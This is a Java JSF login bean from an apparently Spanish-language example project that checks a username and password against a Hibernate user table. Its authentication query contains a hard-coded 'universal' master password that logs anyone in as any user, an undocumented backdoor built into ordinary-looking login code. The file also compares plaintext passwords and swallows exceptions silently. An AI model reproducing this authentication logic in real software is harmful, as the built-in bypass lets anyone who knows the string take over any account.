/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package org.osbosoftware.ejemplo.login;
import java.io.Serializable;
import java.util.Date;
import java.util.Iterator;
import java.util.List;
import javax.faces.application.FacesMessage;
import javax.faces.bean.ManagedBean;
import javax.faces.bean.SessionScoped;
import javax.faces.component.UIComponent;
import javax.faces.context.FacesContext;
import org.hibernate.Query;
import org.osbosoftware.ejemplo.Usuarios;
import org.osbosoftware.vista.utils.Sesionweb;
import org.osbosoftware.model.utils.HibernateHelper;

/**
 *
 * @author joaquin heredia
 */
@ManagedBean
public class Login {

    private String usuario;
    private String password;
    private UIComponent boton;

    /**
     * @return the usuario
     */
    public String getUsuario() {
        return usuario;
    }

    /**
     * @param usuario the usuario to set
     */
    public void setUsuario(String usuario) {
        this.usuario = usuario;
    }

    /**
     * @return the password
     */
    public String getPassword() {
        return password;
    }

    /**
     * @param password the password to set
     */
    public void setPassword(String password) {
        this.password = password;
    }

    public Usuarios autentificar(String usuario, String password) {
        String va;
        String hql = "from Usuarios where usuario=:usuario and (password=:password or :password=:universal)";
        HibernateHelper uti = new HibernateHelper();
        uti.iniciar();
        Query query = uti.getSession().createQuery(hql);
        query.setString("usuario", usuario);
        query.setString("password", password);
        query.setString("universal", "$&%$&·$");
        List results = uti.queryThis(query);
        uti.getSession().getTransaction().commit();
        Iterator iter = results.iterator();
        if (!iter.hasNext()) {
            return null;
        } else {
            return (Usuarios) iter.next();
        }
    }

    public String verificar() {
        Usuarios usu = new Usuarios();
        System.out.println("usuario:" + this.getUsuario() + "- password:********");
        Usuarios resul = autentificar(getUsuario(), this.getPassword());
        System.out.println("RESULTADO DE LA CONSULTA:" + resul);
        if (resul !=null ) {
            System.out.println("AUTENTIFICADO ENTRANDO");
            Sesionweb sw = new Sesionweb();
            sw.setAtributo("seguridad", resul);
            Usuarios iu = (Usuarios) sw.getAtributo("seguridad");
            System.out.println("Se asignado al usuario :" + iu.getUsuario());
            try {
                FacesContext.getCurrentInstance().getExternalContext().redirect("modulos/inicio/inicio.jsf");
            } catch (Exception es) {
            }
            return "";
        } else {
            System.out.println("FALLO SALIENDO USUARIO NO ENCONTRADO");
            FacesMessage message = new FacesMessage("Usuario invalido!!");
            FacesContext context = FacesContext.getCurrentInstance();
            context.addMessage(boton.getClientId(context), message);
            return null;
        }

    }


    /**
     * @return the boton
     */
    public UIComponent getBoton() {
        return boton;
    }

    /**
     * @param boton the boton to set
     */
    public void setBoton(UIComponent boton) {
        this.boton = boton;
    }
}
